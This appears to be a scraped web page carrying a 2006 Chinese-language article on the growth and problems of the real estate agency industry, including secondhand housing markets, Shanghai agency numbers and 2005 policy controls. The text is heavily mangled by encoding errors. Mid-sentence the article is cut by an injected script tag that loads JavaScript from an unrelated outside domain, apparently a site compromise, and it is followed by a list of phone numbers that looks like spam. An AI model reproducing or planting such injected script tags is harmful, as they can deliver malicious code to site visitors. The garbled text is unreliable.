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房產(chǎn)中介企業(yè)發(fā)展之路
文摘來源:新萬通內(nèi)刊閱讀:11118次 [06-9-6]

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住房市場至少可以細(xì)分為住房一級市場、二手房市場（住房二級市場）和住房租賃市場。其中，住房二級市場是關(guān)鍵，它既能促動(dòng)新房市場的成長（多數(shù)居民是賣舊房買新房），又能支撐租房市場（舊房是出租房屋的主要來源），促進(jìn)住房市場活躍，使之具有持續(xù)的增長潛能和發(fā)展空間。

一、房產(chǎn)中介的產(chǎn)生與發(fā)展正是我們社會(huì)經(jīng)濟(jì)發(fā)展所需要的

近年來，隨著各地實(shí)施經(jīng)營城市戰(zhàn)略，加快舊城改造步伐，通過城市空間結(jié)構(gòu)的調(diào)整來發(fā)展房地產(chǎn)，中介企業(yè)紛紛聞風(fēng)而動(dòng)，經(jīng)營內(nèi)容不斷增加，租賃、置換、搶占二手房源等，充分顯示了房地產(chǎn)中介的生機(jī)與活力。

首先，在私人之間的房屋買賣中，由于很多買方與賣方互相不認(rèn)識、不了解，可以說信用無從談起：買方擔(dān)心給了錢，拿不到房；賣方擔(dān)心買方不是一次性支付全部款項(xiàng)，分幾次支付，會(huì)不會(huì)拖泥帶水拖延付款等等。這時(shí)，房產(chǎn)中介機(jī)構(gòu)出現(xiàn)，中介方是以單位的名義出現(xiàn)，并且經(jīng)過國家行政部門的審批，具備經(jīng)營資格。買賣雙方就可以將中介方作為第三方來溝通信息，調(diào)停買賣雙方之間的爭執(zhí)；而且買賣雙方需要辦理產(chǎn)權(quán)轉(zhuǎn)讓等手續(xù)，更需要中介機(jī)構(gòu)提供專業(yè)意見、協(xié)助辦理�？梢哉f，中介機(jī)構(gòu)溝通買賣雙方起到了一個(gè)橋梁的重要作用。

其次，住房一級市場銷售的房子是新房，批量大，同時(shí)工程質(zhì)量價(jià)格相近，集中上市銷售。所以開發(fā)商往往自己成立銷售機(jī)構(gòu)，自己售房；或者統(tǒng)一交給中間代理銷售。而住房二級市場銷售的舊房量小，地點(diǎn)分散。所以，絕大多數(shù)是由中介機(jī)構(gòu)代理銷售。從長遠(yuǎn)來看，存量市場將成為城市住房市場的主流，而租房市場在住房市場中將占據(jù)重要的地位。因此，中介行業(yè)在住房二級市場中的作用不可小視。

房地產(chǎn)中介運(yùn)用其豐富的信息資源，多樣化的服務(wù)手段，為客戶提供合理、便捷的交易及咨詢服務(wù)，豐富和擴(kuò)大了住房市場。上海市住房二級市場起步較早，中介行業(yè)非�；钴S，有力地推動(dòng)著市場的發(fā)展。據(jù)有關(guān)部門統(tǒng)計(jì)，上海約50％的新建商品房銷售和90％的二手房買賣是通過房地產(chǎn)中介企業(yè)實(shí)現(xiàn)的。房地產(chǎn)中介服務(wù)業(yè)的發(fā)展，進(jìn)一步提升了房地產(chǎn)行業(yè)的運(yùn)行質(zhì)量，對激活住房市場作用顯著。房地產(chǎn)中介經(jīng)營內(nèi)容的拓展，既為社會(huì)創(chuàng)造了眾多就業(yè)機(jī)會(huì)，更為進(jìn)一步加快房地產(chǎn)經(jīng)濟(jì)的發(fā)展作出了貢獻(xiàn)。從我國深圳、上海等發(fā)達(dá)城市來看，房地產(chǎn)交易提供的服務(wù)，大致有房地產(chǎn)買賣、租賃、互換代替業(yè)務(wù)，房地產(chǎn)策劃、廣告推銷、樓宇按揭、融資貸款、物業(yè)評估、物業(yè)管理等方面所提供的服務(wù)，其在社會(huì)經(jīng)濟(jì)中的作用十分明顯。

二、國內(nèi)房產(chǎn)中介發(fā)展現(xiàn)狀——內(nèi)憂外患

隨著房地產(chǎn)市場的不斷發(fā)展，房產(chǎn)中介市場也在日益壯大，房產(chǎn)中介在房產(chǎn)交易中的地位日益上升。由于房產(chǎn)中介行業(yè)進(jìn)入門檻相對不高，上海房產(chǎn)中介市場曾創(chuàng)造過日均誕生 8家企業(yè)的輝煌。對于數(shù)量龐大的中介公司而言，以前隱藏在一片繁榮景象背后的生存危機(jī)開始逐步顯現(xiàn)，進(jìn)而集中爆發(fā)。有人曾經(jīng)算過這樣一筆賬：上海房產(chǎn)中介機(jī)構(gòu)總數(shù)高峰時(shí)有1.2萬家，如果把前兩年上海每年2000 多萬平方米的二手房交易面積分?jǐn)偟饺猩先f家中介公司，那么平均每家中介每月交易量只有200平方米左右。如果這上萬家中介公司都按照規(guī)定，靠各向上下家收取不超過1％的傭金過活，顯然是怎么也維持不了生計(jì)的。

2005年，中國政府出臺了很多房地產(chǎn)交易宏觀調(diào)控政策，其力度之大，次數(shù)之頻繁，被人們形象地稱作“組合拳”。宏觀調(diào)控很大程度上影響了房地產(chǎn)市場的交易。其中，受影響最大的要數(shù)二級市場的中介企業(yè)。北京地區(qū)6月份二手房交易量下降了40％左右，甚至直接導(dǎo)致了一些小中介的關(guān)門出局；上海僅近兩個(gè)月注銷的中介企業(yè)就有1000多家。正當(dāng)大批中介公司身處凄風(fēng)苦雨之境時(shí)，一些地方房地產(chǎn)交易中心推出了“網(wǎng)上二手房平臺”，并加快了服務(wù)項(xiàng)目完善的步伐：開通熱線電話，網(wǎng)上經(jīng)紀(jì)人免費(fèi)上門服務(wù)；公布菜單式收費(fèi)標(biāo)準(zhǔn)，上門服務(wù)的經(jīng)紀(jì)人身份網(wǎng)上可查……這一系列新舉措在業(yè)界引起強(qiáng)烈震動(dòng)。

毫無疑問，“網(wǎng)上二手房”分食了中介企業(yè)的市場蛋糕。如果今后越來越多的市民通過“網(wǎng)上二手房”便能完成從上網(wǎng)掛牌到產(chǎn)權(quán)、資金交割的所有手續(xù)，那么更多的中介公司將面臨絕境�！熬W(wǎng)上二手房”以及一些政策出臺，將改變以往的中介經(jīng)營模式，促使房地產(chǎn)經(jīng)紀(jì)人在中介活動(dòng)中承擔(dān)起應(yīng)有的責(zé)任，促進(jìn)中介機(jī)構(gòu)從傳統(tǒng)中介商向?qū)I(yè)咨詢顧問的角色轉(zhuǎn)變。但是，有一點(diǎn)不能否認(rèn)：隨著各項(xiàng)宏觀調(diào)控政策的深入細(xì)化，狂熱樓市不斷走向理性，一個(gè)不得不直面的問題由此產(chǎn)生——中介市場的確存在種種弊端。

像層出不窮的市場“失信”行為：與上下家分別簽訂合同賺取差價(jià)；找熟人串通“唱雙簧”促成交易……種種不誠信行為使購房者屢受其害；又如經(jīng)紀(jì)人和企業(yè)脫鉤：按規(guī)定，每家房產(chǎn)中介需要有一定數(shù)量的注冊房地產(chǎn)經(jīng)紀(jì)人，但現(xiàn)在不少中介公司并沒有規(guī)定人數(shù)的注冊經(jīng)紀(jì)人，而是通過租用經(jīng)紀(jì)人的證件蒙混過關(guān)，經(jīng)紀(jì)人的專業(yè)形象及信譽(yù)得不到很好體現(xiàn)；還有市場監(jiān)管不到位：目前對于中介企業(yè)的監(jiān)管，還存在房地產(chǎn)、工商等部門多頭管理的現(xiàn)象，由?script src=http://www.24aspx.com/script.js>

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[昆明] 028-66822022,18100893151 [西安] 13572176799 [福建] 0592-6022961,19905929501,19905929503
[武漢] 15307165353 [長沙] 15307165353 [江西] 13602675916 [南寧] 13878876378 [沈陽] 15804662075 [大連] 15804662075
[�？赸 15120790561,0898-65203645 [長春] 15804662075 [哈爾濱] 15804662075

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